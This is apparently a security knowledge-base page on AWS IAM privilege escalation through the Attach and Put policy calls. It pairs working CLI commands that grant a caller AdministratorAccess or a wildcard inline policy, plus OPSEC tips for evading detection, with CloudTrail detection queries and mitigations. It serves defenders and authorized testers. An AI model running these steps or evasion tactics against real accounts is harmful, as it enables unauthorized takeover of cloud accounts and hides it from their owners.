How it works
Permissions in AWS reach an identity through policies. There are two kinds, and each has a write call per identity type:
| Target | Managed policy (by ARN) | Inline policy (document in the request) |
|---|---|---|
| IAM user | AttachUserPolicy |
PutUserPolicy |
| IAM group | AttachGroupPolicy |
PutGroupPolicy |
| IAM role | AttachRolePolicy |
PutRolePolicy |
A principal that may call one of these on an identity it controls can grant itself anything. With an Attach call it links an existing IAM policy, and AWS ships the most useful one in every account: the AWS managed AdministratorAccess policy allows every action on every resource. With a Put call it writes its own document, so it does not even need a suitable managed policy to exist.
"An identity it controls" means one of three things:
- Its own user. An IAM user attaching a policy to itself is the shortest privilege escalation path in an account. No role, trust policy or service is involved.
- A group it belongs to. The policy reaches every current and future member, so the beneficiary set is the membership list and can grow later without another policy event.
- A role it can assume, or a role it is currently using. A role session that attaches a policy to its own role is escalated on its next request. A role that workloads share escalates all of them.
The grant is evaluated on the next request, after the short propagation delay of IAM changes. A session that already exists picks it up, because policies are read at request time, not when the session was issued.
The same writes serve persistence. An attacker attaches a broad policy to a quiet user or role it controls and comes back later. What matters then is what the policy allows, not whether a new principal exists.
Prerequisites
- Valid credentials in the target account.
- One of the six write actions, allowed on a user, group or role the attacker controls. Wildcard grants such as
iam:Attach*,iam:Put*oriam:*onResource: "*"include them. - For the role variants: the ability to use the role afterwards, either because the attacker is already in a session of that role or because the role's trust policy lets it call
sts:AssumeRole. - No permissions boundary, service control policy or explicit deny that blocks the new permissions. A boundary on the target caps the result; see permissions boundary removal.
- For Attach calls: no
iam:PolicyARNcondition on the grant that limits which policies may be attached.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Identify the current identity and its write permissions
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name alice
aws iam list-groups-for-user --user-name alice
Pacu enumerates the permissions of the active identity and matches them against the known escalation methods, which include all six calls:
Pacu > run iam__enum_permissions
Pacu > run iam__privesc_scan
2a. Attach a managed policy
# To the caller's own user
aws iam attach-user-policy --user-name alice \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# To a group the caller is in
aws iam attach-group-policy --group-name developers \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# To a role the caller uses or can assume
aws iam attach-role-policy --role-name app-deploy \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
2b. Or write an inline policy
Save the document:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
aws iam put-user-policy --user-name alice \
--policy-name s3-read-helper --policy-document file://admin.json
aws iam put-group-policy --group-name developers \
--policy-name s3-read-helper --policy-document file://admin.json
aws iam put-role-policy --role-name app-deploy \
--policy-name s3-read-helper --policy-document file://admin.json
A Put call with the name of an existing inline policy replaces that policy's document, so an attacker can also widen a policy that is already there without adding a new name to the list.
3. Use the new permissions
For a user or a role session the attacker already holds, nothing more is needed. For a role it has to enter:
aws sts assume-role \
--role-arn arn:aws:iam::111122223333:role/app-deploy \
--role-session-name deploy
Impact
With AdministratorAccess or an Allow * inline policy, the attacker controls the account: all data, all compute, and IAM itself, which lets it create further credentials and backdoors. Service control policies and permissions boundaries are the only limits that still apply.
A write to a group or a shared role also raises the privileges of every other member or workload, which widens the blast radius of any later compromise and complicates cleanup. The grant stays until someone detaches or deletes the policy.
OPSEC and artifacts
- Inline instead of managed. An inline policy has no ARN and does not appear in the list of attached managed policies. Rules that match
AdministratorAccessinrequestParameters.policyArndo not fire. The PutUserPolicy, PutGroupPolicy and PutRolePolicy events still carry the policy name and the document inrequestParameters.policyNameandrequestParameters.policyDocument. - Harmless names and narrow grants. The policy is named like an existing helper policy, and instead of
*the document grants a few chosen actions such asiam:CreateAccessKeyorsts:AssumeRole. This defeats wildcard matching, not the event. - A service-specific managed policy. Attaching
IAMFullAccessor aFullAccesspolicy for one service draws less attention thanAdministratorAccessand is often enough for the next step. - Indirect beneficiary. Attaching to a group or to a shared role keeps the attacker's own identity out of
requestParameters. Resolving the beneficiaries needs the group membership or the role's trust policy at the time of the event. - Attach, use, detach. The policy is removed after a durable backdoor is in place.
DetachUserPolicy,DeleteUserPolicyand their group and role equivalents are recorded too, and an attach and a detach of an administrator policy close together is a strong signal. - What always remains: one IAM management event per write in CloudTrail, in the US East (N. Virginia) Region, with the caller, the target in
requestParameters.userName,groupNameorroleName, the source address and the user agent. The event shows the requested change, not the resulting effective permissions.
Detection
- Administrator and full access policies attached. Alert on AttachUserPolicy, AttachGroupPolicy and AttachRolePolicy where
requestParameters.policyArnisAdministratorAccess,IAMFullAccess,PowerUserAccessor a serviceFullAccesspolicy. See the administrator policy attachment rules. - Inline policy writes. Alert on the three Put calls outside the deployment roles, and read the document for wildcard actions,
iam:actions andsts:AssumeRole. See the inline policy rules. - Self-benefit. The caller is the target user, a member of the target group, or a session of the target role (
userIdentity.sessionContext.sessionIssuer.arnnames the role inrequestParameters.roleName). - Effect, not only event. Compare the identity's effective actions before and after. A grant the identity already had through another policy is redundant; a first administrator grant is not.
- Denied attempts. An
AccessDeniedon one of these calls from a workload role or an ordinary user shows someone testing for the path.
-- Athena, CloudTrail table: policy writes on users, groups and roles
SELECT eventtime, eventname, useridentity.type,
useridentity.arn AS caller,
useridentity.sessioncontext.sessionissuer.arn AS issuer,
json_extract_scalar(requestparameters, '$.userName') AS target_user,
json_extract_scalar(requestparameters, '$.groupName') AS target_group,
json_extract_scalar(requestparameters, '$.roleName') AS target_role,
json_extract_scalar(requestparameters, '$.policyArn') AS policy_arn,
json_extract_scalar(requestparameters, '$.policyName') AS inline_name,
errorcode, eventid
FROM cloudtrail_logs
WHERE eventsource = 'iam.amazonaws.com'
AND eventname IN ('AttachUserPolicy', 'AttachGroupPolicy', 'AttachRolePolicy',
'PutUserPolicy', 'PutGroupPolicy', 'PutRolePolicy')
AND eventtime >= '2026-11-28T00:00:00Z'
ORDER BY eventtime
A null errorcode is a candidate success. Amazon GuardDuty names PutUserPolicy among the APIs behind its PrivilegeEscalation:IAMUser/AnomalousBehavior finding, which adds an anomaly signal on top of these rules.
Mitigation
- Limit which policies can be attached. Grant the Attach actions with an
iam:PolicyARNcondition that allows only the approved policy ARNs or a team path, as the AWS IAM User Guide shows. An attacker then cannot attachAdministratorAccesseven where it may attach policies. - Limit the targets. Scope the
Resourceof all six actions to the user, group and role paths a principal manages, and keep its own identity outside that scope. - Require a permissions boundary on everything a delegated administrator creates or edits, with the
iam:PermissionsBoundarycondition key, and deny the boundary's own removal. See what a permissions boundary is. - Keep Put actions for pipelines. Inline policies are the hardest to review. Restrict
iam:Put*Policyto deployment roles, or deny it with a service control policy where inline policies are not used. - Remove wildcard IAM grants.
iam:*andiam:Attach*on*are among the common AWS IAM misconfigurations behind this path. Replace them with the specific actions and resources a role needs, following least privilege. - Review roles with broad policies. An over-permissioned IAM role is often the result of an attachment nobody reverted.
Detection rules for this attack
Log events to collect
FAQ
What is the difference between the Attach and the Put variants?
Attach calls link an existing managed policy, identified by its ARN, to a user, group or role. Put calls embed an inline policy document, written by the caller, in one identity. Both grant permissions immediately. Attach leaves a policy ARN that monitoring can match; Put leaves a document with no ARN that only shows up when the identity's inline policies are listed.
Which of the six calls is the most dangerous?
All six lead to the same place when the target is an identity the attacker controls. AttachUserPolicy and PutUserPolicy on one's own user are the shortest, because no role or group is involved. AttachRolePolicy and PutRolePolicy matter most in practice, because workloads and federated users act through roles.
Does a permissions boundary stop this escalation?
It caps it. With a boundary on the target identity, an attached AdministratorAccess policy only takes effect for the actions the boundary also allows. The boundary must also keep the identity from removing or replacing the boundary, or the cap can be lifted with one more call.
How should detection handle legitimate deployments?
Infrastructure pipelines attach and write policies all day. Exclude the pipeline roles by ARN, then alert on what is left: a person or workload role making the call, a target that is the caller itself, a policy ARN from the administrator and full access families, or an inline document with wildcard actions.
References
- AttachUserPolicy (AWS IAM API Reference)
- AttachRolePolicy (AWS IAM API Reference)
- PutUserPolicy (AWS IAM API Reference)
- Control access to AWS resources using policies: controlling access to policies (AWS IAM User Guide)
- Account Manipulation: Additional Cloud Roles, T1098.003 (MITRE ATT&CK)
- AWS IAM Privilege Escalation: Methods and Mitigation (Rhino Security Labs)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.